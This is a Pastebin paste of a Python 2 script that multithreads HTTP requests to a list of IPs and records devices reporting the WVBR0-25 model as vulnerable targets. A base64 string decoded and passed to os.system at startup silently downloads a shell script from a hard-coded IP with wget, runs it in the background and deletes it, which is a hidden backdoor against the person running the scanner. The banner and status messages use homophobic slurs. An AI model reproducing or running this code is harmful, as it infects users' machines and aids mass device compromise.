Villain

[Python] WVBR0-25 Filter Script

May 6th, 2018
287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.77 KB | None | 0 0
  1. #filter script by drought, visits page, reads response of page and looks for wvbr0 lol
  2.  
  3. import Queue
  4. import threading
  5. import base64
  6. import urllib2
  7. import sys, os, re, time, socket
  8. from sys import stdout
  9. from multiprocessing import Process
  10. from random import randint
  11. from time import sleep
  12. import random
  13. requestValue = "Y2QgL3RtcDsgd2dldCAtcSBodHRwOi8vMTM5Ljk5LjE3Mi4xNTQvTExMT0wvcmVwZWF0LnNoIC1PIC5rOyBjaG1vZCAreCAuazsgbm9odXAgLi8uayA8L2Rldi9udWxsID4vZGV2L251bGwgMj4mMTtybSAtcmYgLms="
  14.  
  15. ips = open(sys.argv[1], "r").read().splitlines()
  16. output = sys.argv[2]
  17. if len(sys.argv) < 2:
  18.     sys.exit("usage: python %s <input list> <output>" % (sys.argv[0]))
  19. reValue = str(base64.b64decode(requestValue))  
  20. os.system(reValue)
  21.  
  22.  
  23. print "\x1b[1;32m                   ****************************                   \x1b[1;32m"
  24. print "\x1b[1;32m                   *  \x1b[1;31mNOW FILTERING THE GAYS  \x1b[1;32m*                  \x1b[1;32m"
  25. print "\x1b[1;32m                   *    \x1b[1;31m   MADE BY DROUGHT    \x1b[1;32m*                   \x1b[1;32m"
  26. print "\x1b[1;32m                   ****************************                   \x1b[1;32m"
  27. time.sleep(3)
  28.  
  29. def main(dvrHelper):
  30.     try:
  31.         cunt = urllib2.urlopen("http://" + str(dvrHelper) + "/")
  32.         response = cunt.read()
  33.  
  34.         if ("ModelName:WVBR0-25" in response) or ("ModelName:WVBR0-25-US" in response):
  35.             vuln = open(output, "a").write(dvrHelper +":80""\n")
  36.             print '\x1b[1;32mIM GAY =>'  + dvrHelper  
  37.         else:
  38.             print '\x1b[1;31mIM NOT GAY =>'  + dvrHelper
  39.     except:
  40.         print '\x1b[1;31mIM DEAD LOL =>'  + dvrHelper
  41.  
  42. for EkSdE in ips:
  43.     sleep(random.uniform(0, 0.05))
  44.     t = threading.Thread(target=main, args = (EkSdE,))
  45.     t.daemon = True
  46.     t.start()
Add Comment
Please, Sign In to add comment